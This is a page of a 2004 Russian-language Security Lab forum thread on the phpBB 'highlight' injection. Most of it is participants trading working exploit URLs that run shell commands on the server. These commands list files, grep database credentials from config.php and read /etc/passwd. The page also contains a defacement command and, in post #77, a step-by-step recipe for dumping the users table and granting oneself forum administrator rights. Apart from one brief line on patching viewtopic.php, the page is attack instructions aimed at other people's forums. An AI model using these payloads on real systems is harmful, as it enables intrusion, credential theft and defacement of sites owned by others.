Security Lab



Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти  
Форум » Обсуждение статей (закрыто) » Обсуждение публикаций
Страницы: Пред. 1 2 3 4 5 6 7 След.
RSS
SQL-инъекция и php инклудинг в phpBB
 
#61
Это нравится:0Да/0Нет
23.11.2004 10:11:07
Цитата
Interloper пишет:
вот как это дело обходится в некоторых случаях
&highlight=%2527.$poster=%60$file%60.%2527.&file=ls%20-al
Это то всё работает, даже регистрации не надо, как было в прошлых иньекциях, я рад:

viewtopic.php?t=10&&highlight=%2527.$poster=%60$file%60.%252 7.&file=ls%20-al
выдаёт список файлов с атрибутами

viewtopic.php?t=10&highlight=%2527.$poster=%60$file%60.%2527 &file=id;uname%20-a;cat%20con fig.php|grep%20db
выдаёт id под кем запущен апач и грепает по db содержимое файла config.php

ЕДИНСТВЕННОЕ условие - если на тачке поднят апач под unix-like system.
А какие команды нужно выполнить, если на тачке стоит Windows??? (хотябы для этих же действий)
 
 
 
#62
Это нравится:0Да/0Нет
23.11.2004 10:17:58
Блиин.
Те, кто знает как - дайте людям самим поработать головой.
И так уже всё разжевали и в рот положили.
 
 
 
#63
Это нравится:0Да/0Нет
24.11.2004 03:03:21
Кста, тут мысль появилась, как дефейс замумить... Строчку перенаправть в файл, а его переименовать, например, в faq.php (или index.php)
 
 
 
#64
Это нравится:0Да/0Нет
24.11.2004 03:39:08
можно сразу в нужный файл перенаправлять
echo 'defaced' > index.php
 
 
 
#65
Это нравится:0Да/0Нет
24.11.2004 10:03:44
Зацените прикол:
http://127.0.0.1/phpBB2/viewtopic.php?t=3&highlight=%2527%25 2esystem(chr(100)%252echr(105)%252echr(114))%252e%2527
 
 
 
#66
Это нравится:0Да/0Нет
24.11.2004 10:47:34
Цитата
Clone пишет:
Зацените прикол:
http://127.0.0.1/phpBB2/viewtopic.php?t=3&highlight=%2527%25 2esystem(chr(100)%252echr(105)%252echr(114))%252e%2527

Чушь, ничерта неработает.
Нашел базу,
пример
viewtopic.php?t=6&highlight=%2527.$poster=%60$ls%60.%2527&ls =id;ls%20/home/www/users/backup/
По выше сказаному примеру, не получается взять думпинг базы sql .Она перед носом, как взять то ?  [IMG]http://www.securitylab.ru/forum/smileys/smiley11.gif[/IMG]
 
 
 
#67
Это нравится:0Да/0Нет
24.11.2004 17:52:28
а как внести даные в базу, например установить пользователю уровень 1 (т.е. права админа)
 
 
 
#68
Это нравится:0Да/0Нет
24.11.2004 18:05:44
Если я не ошибаюсь, то SQL-запрос такой:
UPDATE phpbb_users SET user_level=1 WHERE username='Vasya'

Тока вот у меня никак не получается воткнуть этот запрос. Уже даже скрипт пытался залить, делающий это, а там файло не хочет создавать :( у меня депрессия :/
 
 
 
#69
Это нравится:0Да/0Нет
24.11.2004 18:42:29
Получить хеш админа (в смысле, /etc/passwd файлик) можно вполне. Просто надо вместо пробела команде cat табуляцию писать. Вот так: cat%09/etc/passwd.
Закрывается очень просто - в viewtopic.php комментируешь кусок кода, который обрабатывает HTTP_GET_VARS['highlight']
 
 
 
#70
Это нравится:0Да/0Нет
24.11.2004 19:08:20
а мой форум успели дефейснуть :( за что спрашваецца абругали :(


щас после обгрейда ...

не один приведенный пример не произвёл на форум никакого действия и ничего лишнего не показал :)
 
 
 
#71
Это нравится:0Да/0Нет
24.11.2004 22:48:11
Цитата
Гость пишет:
Получить хеш админа (в смысле, /etc/passwd файлик) можно вполне. Просто надо вместо пробела команде cat табуляцию писать. Вот так: cat%09/etc/passwd.
Закрывается очень просто - в viewtopic.php комментируешь кусок кода, который обрабатывает HTTP_GET_VARS['highlight']
1. тоже самое , не обязательно пробел заменять
ls=id;uname%20-a;cat%20/../../../../../../../etc/passwd
результат тот же.
2. Как быть если пароли спрятаны в shadow ? . К сожелению он не отображаеца...
в passwd вписаны только логины
 
 
 
#72
Это нравится:0Да/0Нет
25.11.2004 00:13:58
имеется запрос:
&highlight=%2527.$poster=$sql.%2527
ответ: UPDATE phpbb_topics SET topic_views = topic_views + 1 WHERE topic_id = 201

имеются запросы: $sql = UPDATE `phpbb_users` SET user_level=1 WHERE user_id ='25'
или: UPDATE phpbb_users SET user_level=1 WHERE user_id='25'
какой нужен запрос чтобы установить админа, а лучше какой пример запроса идёт к БД.
хоть парочку примеров обращения к бд
 
 
 
#73
Это нравится:0Да/0Нет
25.11.2004 00:52:59
А чем в запросе надо заменять символы '<' и '>' ?
 
 
 
#74
Это нравится:0Да/0Нет
25.11.2004 01:52:08
Эх... Ну вы ребята даёте. Идите курить на тему mysql, прежде чем задавать такие вопросы...
 
 
 
#75
Это нравится:0Да/0Нет
25.11.2004 08:53:01
хоть работающий пример sql запроса выложите, а там уже разберёмся
 
 
 
#76
Это нравится:0Да/0Нет
25.11.2004 11:05:37
Цитата
phg пишет:
имеется запрос:
&highlight=%2527.$poster=$sql.%2527
ответ: UPDATE phpbb_topics SET topic_views = topic_views + 1 WHERE topic_id = 201

имеются запросы: $sql = UPDATE `phpbb_users` SET user_level=1 WHERE user_id ='25'
или: UPDATE phpbb_users SET user_level=1 WHERE user_id='25'
какой нужен запрос чтобы установить админа, а лучше какой пример запроса идёт к БД.
хоть парочку примеров обращения к бд
$sql = "SELECT user_id, username, user_password, user_active, user_level
     FROM " . USERS_TABLE . "
     WHERE username = '" . str_replace("\\'", "''", $username) . "'";

//Выдрано из файла login.php :)
 
 
 
#77
Это нравится:0Да/0Нет
25.11.2004 18:37:15
блин, какие проблемы?
разжОвываю для особо ленивых:
1) регишься на форуме
2) cat'аешь config.php на предмет данных для доступа к базе
3) делаешь дамп: mysqldump%20-uusername%20-ppassword%20dbname%20phpbb_users
ищешь ID своего юзера
4) создаешь файл
...&highlight=%2527.$poster=%60$file%60.%2527.&file=echo%20m ysql%20-uusername%20-ppassword%20-Ddbname%20-e%20'update%20p hpbb_users%20set%20user_level=1%20where%20user_id=YOU_USER_I­ D'%20%3E%20/tmp/.teeemp
5) чмод +x на файл
6) /bin/sh -c /tmp/.teeemp
вуаля и ты уже администратор форума. можешь логиниться и рулить.
 
 
 
#78
Это нравится:0Да/0Нет
25.11.2004 21:10:33
Чем можно заменить символ " (двойные кавычки)
?
Пробовал на %22 - тот же результат
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
 
 
#79
Это нравится:0Да/0Нет
25.11.2004 23:27:26
в общем pg_dump (PostgreSQL)
как я понял там нельзя ввести пароль, т.к. отдельной стракой нужно вводить пароль, уф...  [IMG]http://www.securitylab.ru/forum/smileys/smiley18.gif[/IMG] и даже wget не работает [IMG]http://www.securitylab.ru/forum/smileys/smiley11.gif[/IMG] может ктонить уже сталкивался с pg_dump ? всего то нужно установить user_level=1
 
 
 
#80
Это нравится:0Да/0Нет
26.11.2004 10:23:17
Цитата
Shanker пишет:
Чем можно заменить символ " (двойные кавычки)
?
Пробовал на %22 - тот же результат
Попробуй одинарную кавычку.
 
 
 
Страницы: Пред. 1 2 3 4 5 6 7 След.
Читают тему